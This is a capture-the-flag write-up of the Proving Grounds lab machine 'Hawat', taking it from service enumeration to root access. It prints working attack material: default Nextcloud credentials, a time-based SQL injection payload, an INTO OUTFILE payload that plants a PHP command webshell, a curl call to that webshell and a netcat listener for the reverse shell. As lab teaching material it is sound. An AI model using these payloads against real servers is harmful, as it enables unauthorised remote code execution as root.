Skip to content
HackIndex.io

Hawat Writeup - Proving Grounds

Easy Linux
Discuss on Discord

Created October 7, 2026 • Last updated October 7, 2026 • 2 min read

The Husky Hacker

sysadmin

Hawat exposes several web services. Nextcloud on port 50080 accepts default credentials and holds a zip of the Issue Tracker source, which reveals a SQL injection on port 17445. A phpinfo page shows the server runs as root out of /srv/http, so an INTO OUTFILE webshell lands code execution as root with no privilege escalation.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP 
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.4 (protocol 2.0)
17445/tcp open  http    Apache Tomcat (Issue Tracker)
30455/tcp open  http    nginx 1.18.0
50080/tcp open  http    Apache httpd 2.4.46 (PHP/7.4.15)
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

An Issue Tracker on 17445, an nginx server on 30455, and a PHP site on 50080. Brute force each for content.

Directory discovery

Enumerate directories across the web ports.

┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://$TARGET_IP:30455 -u http://$TARGET_IP:17445 -u http://$TARGET_IP:50080 
# port 30455
[200] /phpinfo.php
# port 17445
[200] /login   [200] /register
# port 50080
[301] /cloud  ->  Nextcloud login

Port 30455 exposes phpinfo.php, 17445 has a /register page, and 50080 hosts a Nextcloud login at /cloud, which accepts the default credentials admin:admin.

Exploitation

Nextcloud and source review

Log into Nextcloud and download issuetracker.zip from the Files app. Reviewing the source, the Issue Tracker on 17445 builds a SQL query from the priority parameter of POST /issue/checkByPriority with raw user input, a SQL injection.

SQL injection to webshell

Register an account on 17445 to get an authenticated session, then confirm the injection with a time-based payload.

' UNION SELECT SLEEP(5)-- -

The phpinfo.php page on 30455 discloses the document root /srv/http and shows the web server runs as root. Write a PHP webshell into that directory with INTO OUTFILE.

' UNION SELECT '<?php echo system($_REQUEST["cmd"]); ?>' INTO OUTFILE '/srv/http/cmd.php'-- -

The webshell is served on 30455 and runs as root.

┌──(kali㉿kali)-[~]
└─$ curl 'http://$TARGET_IP:30455/cmd.php?cmd=id' 
uid=0(root) gid=0(root) groups=0(root)

Outbound traffic is filtered to port 443, so catch a reverse shell there.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from $TARGET_IP
# id
uid=0(root) gid=0(root) groups=0(root)
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.

The shell returns as root. The web stack already runs as root, so no privilege escalation is required.

Related

SQLi to Remote Code Execution
Blog

SQLi to Remote Code Execution

Leverage SQL injection vulnerabilities to achieve RCE via techniques like INTO OUTFILE, xp_cmdshell,...
MySQL File Write and Webshell via INTO OUTFILE
Blog

MySQL File Write and Webshell via INTO OUTFILE
Source Code Review for Web Vulnerabilities
Blog

Source Code Review for Web Vulnerabilities

Manually auditing web application source code to identify exploitable vulnerabilities including SQLi...